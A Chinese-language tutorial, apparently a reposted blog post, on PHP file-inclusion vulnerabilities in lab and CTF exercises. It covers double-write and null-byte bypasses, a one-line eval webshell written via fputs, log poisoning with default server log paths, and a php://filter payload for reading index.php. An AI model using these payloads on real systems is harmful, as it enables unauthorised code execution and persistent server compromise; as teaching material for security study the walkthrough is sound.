文件包含漏洞---php协议 (2)

  

文件包含漏洞---php协议

  addslashes()函数:是一个过滤函数

  

文件包含漏洞---php协议

  参数传入之后构成的url是:includes/class_参数.php

  源码本身就是有.php的后悔,我们可以传参数时舍后缀

  #5 双写绕过

  观察源码,

  

文件包含漏洞---php协议

  这段源码过滤了../,我们可以通过双写绕过,即:....//

  #6 文件包含写webshell

  观察源码,

文件包含漏洞---php协议

  这个和第一个差不多,就是参数是以post的方式提交的,我们只要用post的方法提交参数,就可以发现文件包含

  此时,我们如果传入一个任意文件写入以下代码,执行之后就可以在文件的目录写入一个shell

  <?php fputs ( fopen(\'shell.php\',\'w\') , \'<?php eval($_POST[shell])?>\') ;?>

  这段代码的意思就是新建一个shell.php的文件,写入后面的一句话

  #7 用post的方式做00截断或舍去后缀  ../../../phpinfo.php%00

  #8 post方式做00截断或加./绕过

  #9 post方式做舍去后缀名绕过

  #10 post方式双写绕过

  #11 简单的post方式包含,有一个隐藏的输入框,用隐藏的参数

   #12 简单的get方式包含,有一个隐藏的输入框,用隐藏的参数

  #13 get方式双写绕过

  #14 post方式双写绕过

   注:可能是环境的问题,很多题不能实现,只要懂原理就可以

  #包含日志文件获取webshell  

  日志默认路径:

  1、apache+Linux日志默认路径:

    /ect/httpd/logs/access_log 或者 /var/log/httpd/wccess_log

  2、apache+Win2003日志默认路径

    D:\xampp\apache\logs\access.log

    D:\xampp\apache\logs\error.log

  3、IIS6.0+Win2003默认日志文件

    C:\WINDOWS\system32\Logfiles

  4、IIs7.0+win2003默认日志文件

    %SystemDrive%\inetpub\logs\LogFiles

  5、nginx日志文件默认路径

    日志文件在用户安装目录logs目录下

      例如安装路径伪/user/nginx,

      拿我的日志文件目录就是在/user/nginx/logs里

  利用方法:我们进行获取的时候首先要知道日志文件的路径,      

文件包含漏洞---php协议

  既然我们申请访问的url会记录到日志中,我们可以在url中写入一句话然后提交,这时,我们就会在日志文件中写入一句话,

  但是一般的浏览器都会编码我们提交的url,

文件包含漏洞---php协议

  我们可以用burpsuit抓包,在url中写入一句话进行提交,就能写入一句话并解析,这样就可以成功获取shell

三、php伪协议

  #1 用php://filter获取flag

  这里bugku有一个经典的文件包含+php://filter的题目:flag在index里

  在页面上我们可以看到一个按钮链接,点击之后就会跳转到参数file的url

  

文件包含漏洞---php协议

  这里由参数file可以猜到用php://filter伪协议来读取flag

  我们构造payload:?file=php://filter/read=convert.base64-encode/resource=index.php

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zgwjgs.html